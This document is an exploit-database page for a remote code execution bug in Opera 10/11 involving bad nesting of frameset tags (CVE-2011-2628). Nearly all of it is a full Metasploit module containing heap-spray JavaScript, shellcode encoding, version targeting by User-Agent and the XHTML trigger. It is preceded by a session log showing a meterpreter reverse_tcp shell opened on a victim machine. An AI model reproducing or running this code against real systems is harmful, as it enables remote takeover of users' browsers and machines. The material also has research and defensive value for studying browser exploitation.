Opera 10/11 (bad nesting with frameset tag) Memory Corruption

2011-10-09 / 2011-10-10
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

############################################################################################################### # Exploit for Opera 10/11 (bad nesting with frameset tag) Memory Corruption # # Vulnerability: # # Discovered: 2010-08-18 # Patched: 2011-05-18 # Tested on: v10.xx (v10.00, v10.01, v10.10, v10.50, v10.51, v10.52, v10.53, v10.54, v10.6, v10.61, v10.62 and v10.63) # v11.xx < v11.11 (v11.00, v11.01 and v11.10) # Patched on: v11.11 # # Exploit: # # Coded: 2010-09-23 # Last revision: 2011-09-30 # # RCE on: v10.00, v10.50, v10.51, v10.52, v10.54, v10.60, v10.62, v11.00, v11.01 and v11.10* # DoS on: v10.01, v10.10, v10.53, v10.61 and v10.63 # # Notes: # # 1) DEP bypass: possible but unreliable. # 2) Let me know if you improve this one ;) # 3) Most of times, it won't work at first attempt and need crash-dialog interaction. # # Credits: Jose A. Vazquez of http://spa-s3c.blogspot.com # # Greets to: Ruben, Sinn3r, Metasploit Team, Corelan Team, etc # # Running against Opera v10.62... # # # =[ metasploit v4.0.1-dev [core:4.0 api:1.0] # + -- --=[ 741 exploits - 378 auxiliary - 82 post # + -- --=[ 228 payloads - 27 encoders - 8 nops # =[ svn r13801 updated 3 days ago (2011.09.27) # # msf > use windows/browser/opera_frameset_tag # msf exploit(opera_frameset_tag) > set payload windows/meterpreter/reverse_tcp # payload => windows/meterpreter/reverse_tcp # msf exploit(opera_frameset_tag) > set LHOST 192.168.1.103 # LHOST => 192.168.1.103 # msf exploit(opera_frameset_tag) > exploit # [*] Exploit running as background job. # # [*] Started reverse handler on 192.168.1.103:4444 # msf exploit(opera_frameset_tag) > # [*] Using URL: http://0.0.0.0:8080/sUpFmezLW6jS # [*] Local IP: http://192.168.1.103:8080/sUpFmezLW6jS # [*] Server started. # [*] Sending Opera 10/11 (bad nesting with frameset tag) Memory Corruption to 192.168.1.104:1185 (target: Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)) # [*] Sending stage 1 (Spraying the heap) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage 2 (Triggering the vulnerability) # [*] Sending stage (752128 bytes) to 192.168.1.104 # [*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.104:1190) at 2011-09-30 19:23:28 +0200 # Interrupt: use the 'exit' command to quit # msf exploit(opera_frameset_tag) > sessions # # Active sessions # =============== # # Id Type Information Connection # -- ---- ----------- ---------- # 1 meterpreter x86/win32 0XDE1-A39ED4C12\0xde1 @ 0XDE1-A39ED4C12 192.168.1.103:4444 -> 192.168.1.104:1190 # # msf exploit(opera_frameset_tag) > sessions -i 1 # [*] Starting interaction with 1... # # meterpreter > getuid # Server username: 0XDE1-A39ED4C12\0xde1 # meterpreter > execute -f calc.exe # Process 1336 created. # meterpreter > exit # [*] Shutting down Meterpreter... # msf exploit(opera_frameset_tag) > # ################################################################################################################ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Opera 10/11 (bad nesting with frameset tag) Memory Corruption', 'Description' => %q{ This module exploits a vulnerability in the nesting of frameset and iframe tags as implemented within Opera Browser. A memory corruption is triggered and some pointers got corrupted with invalid addresses. Successfully exploiting leads to remote code execution or denial of service condition under Windows XP SP3 (DEP = off). Note than most of cases, it won't work at first attempt and need crash-dialog interaction. Read the last reference for further details. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jose A. Vazquez' ], 'Version' => '$Revision: 0011 $', 'References' => [ ['CVE', '2011-2628'], ['OSVDB', '72406'], ['BID', '47906'], ['URL', 'http://www.opera.com/support/kb/view/992/'], ['URL', 'http://www.beyondsecurity.com/ssd.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/05/spas3c-sv-004opera-browser-1111.html'], ['URL', 'http://spa-s3c.blogspot.com/2011/09/spas3c-sv-004reliability-tests-ssd.html'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'HTTP::compression' => 'gzip', 'HTTP::chunked' => true }, 'Payload' => { 'Space' => 1000, 'BadChars' => "\x00", 'Compat' => { 'ConnectionType' => '-find', }, 'StackAdjustment' => -3500 }, 'Platform' => 'win', 'Targets' => [ # Automatic [ 'Automatic', {} ], # Opera > v10.54 ~ spray of 350 MB [ 'Opera Browser (v10.6x - v11.xx) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 700, 'Ret' => 0x0c0c0c0c } ], # Opera <= v10.54 ~ spray of 250 MB [ 'Opera Browser (v10.50 - v10.54) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 500, 'Ret' => 0x0c0c0c0c } ], # Opera < v10.50 doesn't get crashed with previous method and it needs this one. [ 'Opera Browser (v10.00 - v10.10) / Windows XP SP3 (DEP-default)', { 'SizeofSpray' => 500, 'Ret' => 0x0c0c0c0c } ] ], 'DisclosureDate' => '5 October 2011', 'DefaultTarget' => 0)) end #I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection def automatic_target(cli, request) thistarget = nil agent = request.headers['User-Agent'] if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/ thistarget = targets[3] elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/ thistarget = targets[2] else thistarget = targets[1] end thistarget end def on_request_uri(cli, request) mytarget = target if target.name == 'Automatic' mytarget = automatic_target(cli, request) end if(request.uri =~ /\.xhtml$/) #Send file for trigger the vulnerability for cases > v10.10 html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml"> <meta http-equiv="refresh" content="0;url=" /> <xht:frameset> <xht:iframe> <xht:script> rbc </xht:script> <style type="text/css"> <!-- /* padding CSS */ approx:root{ font: 333em; } --> </style> </xht:iframe> </xht:frameset> </html> | #Send triggerer print_status("Sending stage 2 (Triggering the vulnerability)") var_contentype = 'application/xhtml+xml' else #Send payload + hide iframe for trigger the vuln #Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) #Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch)) #Ret addr_word = [mytarget.ret].pack('V').unpack('H*')[0][0,4] #Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) var_size = rand_text_alpha(rand(30)+2) var_nopsize = rand_text_alpha(rand(30)+2) var_limit = rand_text_alpha(rand(30)+2) var_function_trigger = rand_text_alpha(rand(30)+2) var_file_trigger = rand_text_alpha(rand(30)+2) var_timer_trigger = (rand(3) + 2) * 1000 #Build the exploit var_url = ((datastore['SSL']) ? "https://" : "http://") var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']) var_url << ":" + datastore['SRVPORT'] var_url << get_resource #Sending init HTML print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})") if mytarget.name =~ /v10.00/ # Case v10.00 - v10.10 html = %Q| <html xmlns="http://www.w3.org/1999/xhtml" xmlns:xht="http://www.w3.org/1999/xhtml"> <xht:frameset> <xht:iframe> <xht:script> aaaaaa </xht:script> </xht:iframe> </xht:frameset> <script type="text/javascript"> <![CDATA[ var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}("#{shellcode}"); var #{var_size} = #{var_shellcode}.length * 2; var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14); var #{var_buffer} = #{var_unescape}("%u#{addr_word}"); while ( #{var_buffer}.length * 2 < #{var_nopsize} ) { #{var_buffer} += #{var_buffer}; } var #{var_x} = new Array(); for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode}; } setInterval("location.reload()", 500); ]]> </script> <html> | print_status("Sending simple stage (Sprayer and Triggerer)") var_contentype = 'application/xhtml+xml' else # Case > v10.10 html = %Q| <html> <head> <script type="text/javascript"> var #{var_unescape} = unescape; var #{var_shellcode} = #{var_unescape}("#{shellcode}"); var #{var_size} = #{var_shellcode}.length * 2; var #{var_nopsize} = 0x100000 - (#{var_size} + 0x14); var #{var_buffer} = #{var_unescape}("%u#{addr_word}"); while ( #{var_buffer}.length * 2 < #{var_nopsize} ) { #{var_buffer} += #{var_buffer}; } var #{var_x} = new Array(); for ( var #{var_i} =0; #{var_i} < #{mytarget['SizeofSpray']}; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer} + #{var_shellcode}; } function #{var_function_trigger}(){ document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>"); } setTimeout('#{var_function_trigger}()',#{var_timer_trigger}); </script> </head> <html> | print_status("Sending stage 1 (Spraying the heap)") var_contentype = 'text/html' end end #Response send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' }) #Handle the payload handler(cli) end end

References:

http://www.opera.com/support/kb/view/992/
http://www.opera.com/docs/changelogs/windows/1111/
http://www.opera.com/docs/changelogs/unix/1111/
http://www.opera.com/docs/changelogs/mac/1111/


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